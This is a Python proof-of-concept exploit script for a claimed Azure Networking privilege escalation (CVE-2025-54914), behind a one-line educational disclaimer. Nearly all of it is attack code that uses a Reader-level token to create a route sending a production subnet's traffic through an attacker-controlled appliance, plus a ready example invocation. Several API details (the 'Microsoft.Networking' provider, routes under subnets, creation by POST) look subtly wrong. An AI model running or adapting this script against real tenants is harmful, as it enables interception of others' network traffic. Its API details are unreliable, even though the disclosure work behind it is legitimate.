# Azure Networking Privilege Escalation Exploit - CVE-2025-54914 # # Author: Mark Mallia (mrk336) # Date: 2025-09-04 # Target API version: 2025-09-01 # # Extracted from repository README: # https://github.com/mrk336/Azure-Networking-Privilege-Escalation-Exploit-CVE-2025-54914 # # DISCLAIMER: For educational and authorized security research purposes only. import requests import json import uuid def create_privileged_route(subscription_id, rg_name, vnet_id, subnet_id, access_token, api_version="2025-09-01"): """ Build and send a route creation request that exploits the missing privilege check in Azure Networking GetRouteTable API (CVE-2025-54914). The caller only needs read permissions on the VNet to create routes, bypassing the required write/network-contributor privilege check. """ # 1. Construct endpoint URL base_url = f"https://management.azure.com/subscriptions/{subscription_id}" url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking" f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes") # Append query string for API version params = {"api-version": api_version, "detailLevel": "full"} # 2. Build JSON body; the route name is a random GUID to avoid collisions. route_name = str(uuid.uuid4()) payload = { "properties": { "addressPrefix": "10.0.1.0/24", "nextHopType": "VirtualAppliance", "nextHopIpAddress": "10.0.2.5" # attacker-controlled virtual appliance }, "tags": {"createdBy": "poc"}, "name": route_name } # 3. Set headers; use the bearer token obtained via Azure SDK / az CLI. headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # 4. Execute POST request - missing privilege check allows route creation # with only Reader-level permissions resp = requests.post(url, params=params, json=payload, headers=headers) if resp.status_code == 201: print(f"[+] Successfully created privileged route: {route_name}") print(f"[+] Route redirects 10.0.1.0/24 via attacker-controlled appliance") return True else: print(f"[-] Request failed with status {resp.status_code}") print(resp.text) return False # Example invocation - replace with actual target values subscription_id = "00000000-0000-0000-0000-000000000000" rg_name = "ProductionRG" vnet_id = "prodVNet01" subnet_id = "backendSubnet" access_token = "" # obtain via: az account get-access-token --resource https://management.azure.com create_privileged_route(subscription_id, rg_name, vnet_id, subnet_id, access_token)